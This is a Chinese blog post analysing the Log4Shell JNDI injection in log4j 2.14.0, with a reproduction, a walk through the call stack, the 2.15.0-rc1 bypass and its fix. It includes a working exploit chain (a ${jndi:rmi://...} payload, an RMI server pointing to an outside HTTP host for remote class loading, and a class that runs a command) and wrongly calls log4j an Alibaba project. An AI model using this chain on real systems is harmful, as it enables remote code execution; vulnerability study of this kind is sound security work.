Loading

log4Shell 原理分析

log4Shell 漏洞

简介

log4j 是一款 alibaba 开源的用来记录日志的 java 组件,作者为了支持记录日志的多样性,使得 log4j 支持特殊的一种语法 ${} , 用于待定内容,根据具体的变量名称在做填充。而 ${} 这种语法支持 JNDI 这种特殊的查询方式,这就给了攻击者执行命令的可能性。我们都知道 JNDI 全程 java Naming and Directory Interface 它是一种查询协议,支持 RMI 、ldap、JDBC、DNS 等协议的查询,也是爆出过很多攻击方式。详细可以看我这篇文章

漏洞复现

依赖

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.0</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>
</dependency>

配置

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="[%d{yyyy-MM-dd HH:mm:ss.SSS}] [%level] - %msg%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

log4jDemo

package com.lingx5;

// 添加Log4j依赖类导入
import org.apache.logging.log4j.Logger; // 添加Logger类导入
import org.apache.logging.log4j.LogManager; // 添加LogManager类导入

public class log4jDemo {
    // 声明Logger实例
    private static final Logger logger = LogManager.getLogger(log4jDemo.class);

    public static void main(String[] args) {
        // 开启 trustURLCodebase,因为我的jdk版本较高
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.info("这是info级别的日志");
        logger.warn("这是warn级别的日志");
        logger.error("${jndi:rmi://localhost:1099/Exploit8}");
    }
}

RMIServer

package com.lingx5;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) {
        try {
            // 创建JNDI引用
            Reference ref = new Reference("Exploit8", "Exploit8", "http://lingx5.dns.army:8000/");
            // 封装Reference对象
            ReferenceWrapper refWrapper = new ReferenceWrapper(ref);
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.bind("Exploit8",refWrapper);
            System.out.println("RMI registry started at 1099.");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Exploit8

public class Exploit8 {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

开启 RMI 服务器

image-20250401145414399

开启 http 服务

image-20250401154504520

运行 log4jDemo

image-20250401154552834

分析

总体来说,入口主要是 org.apache.logging.log4j.core.lookup.StrSubstitutor 提供的 lookups 功能 这是 官方文档

org.apache.logging.log4j.core.pattern.MessagePatternConverter#format 方法中 检测 ${ 开头的位置

image-20250401161645164

在 org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute 方法里 处理字符串,并交给 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable 方法

image-20250401162826294

他会调用 Interpolator (代理类)的 lookup 方法

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
    StrLookup resolver = this.getVariableResolver();
    return resolver == null ? null : resolver.lookup(event, variableName);
}

拿到 JNDILookup

image-20250401163218614

拿到 jndiManager,执行 lookup

image-20250401163617165

后续就是 JNDI 的查询和远程类加载了

看一下完整的调用栈吧

image-20250401164014477

loadClass:96, VersionHelper12 (com.sun.naming.internal)
loadClass:101, VersionHelper12 (com.sun.naming.internal)
loadClass:115, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:164, NamingManager (javax.naming.spi)
getObjectInstance:330, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:218, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:17, log4jDemo (com.lingx5)

log4j-2.15-rc1 绕过

官方在爆出 log4shell 漏洞后,更新了 相对安全的版本 log4j-2.15.0-rc1,

改变了 org.apache.logging.log4j.core.pattern.MessagePatternConverter 类对 loadNoLookups 方法

log4j-2.14.0 中,是 loadNoLookups

private int loadNoLookups(final String[] options) {
    if (options != null) {
        for (int i = 0; i < options.length; i++) {
            final String option = options[i];
            // NOLOOKUPS 是一个常量,假设其值为 "nolookups" 或类似的字符串
            if (NOLOOKUPS.equalsIgnoreCase(option)) {
                return i; // 返回找到 "nolookups" 选项的索引
            }
        }
    }
    return -1; // 没有找到或 options 为 null,返回 -1
}

log4j-2.15.0-rc1 改为了 loadLookups 静态方法

private static boolean loadLookups(final String[] options) {
    if (options != null) {
        // var1, var2, var3 是中间变量,功能上等同于直接使用 options 和 i
        String[] var1 = options;
        int var2 = options.length;

        for(int var3 = 0; var3 < var2; ++var3) {
            String option = var1[var3];
            // 直接与字符串 "lookups" 比较
            if (("lookups").equalsIgnoreCase(option)) {
                return true; // 找到 "lookups" 选项,返回 true
            }
        }
    }
    return false; // 没有找到或 options 为 null,返回 false
}

从方法的命名中,我们也不难看出 log4j-2.14.0 默认开启 lookups 功能,而 log4j-2.15.0-rc1 改为了默认关闭

同时在MessagePatternConverter 添加了内部类(都继承了MessagePatternConverter )

private static final class SimpleMessagePatternConverter extends MessagePatternConverter
private static final class FormattedMessagePatternConverter extends MessagePatternConverter
private static final class LookupMessagePatternConverter extends MessagePatternConverter
private static final class RenderingPatternConverter extends MessagePatternConverter

且各自都实现了 format 方法,而在 MessagePatternConverter 初始化时,就检测了 lookups 功能是否开启

public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {
    // 检测 lookups是否 开启
    boolean lookups = loadLookups(options);
    String[] formats = withoutLookupOptions(options);
    TextRenderer textRenderer = loadMessageRenderer(formats);
    // 默认使用 FormattedMessagePatternConverter 或 SimpleMessagePatternConverter
    MessagePatternConverter result = (MessagePatternConverter)(formats != null && formats.length != 0 ? new FormattedMessagePatternConverter(formats) : MessagePatternConverter.SimpleMessagePatternConverter.INSTANCE);
    // lookups 开启 才封装为具有lookup能力的LookupMessagePatternConverter
    if (lookups && config != null) {
        result = new LookupMessagePatternConverter(result, config);
    }

    if (textRenderer != null) {
        result = new RenderingPatternConverter(result, textRenderer);
    }

    return result;
}

到这里,我们要想实现绕过,肯定是要开启 lookups 功能的

导致绕过的关键

在 JndiManager.java 中做了 校验,但可以通过异常来进行绕过

image-20250402120746203

也就是说 在 rc1 中 catch 捕获到异常,但是没有return 掉,导致最后的 return (T) this.context.lookup(name); 还是会执行

我们只需要 在 url 中添加空格字符,就可以利用异常来绕过

修复

在 2.15-rc2 中 添加了 return null; 语句,绕过被修复了 ,在 2.16.0-rc1 版本中,Message Lookups 被彻底删除,log4shell 也就落下了帷幕。

参考文章

Log4j 漏洞原理研究 - 郑瀚 - 博客园

浅谈 Log4j2 漏洞 - 跳跳糖

Lookups :: Apache Log4j

log4j 漏洞复现 - 鹤翔万里的笔记本

posted @ 2025-04-02 12:55  LingX5  阅读(57)  评论(0)    收藏  举报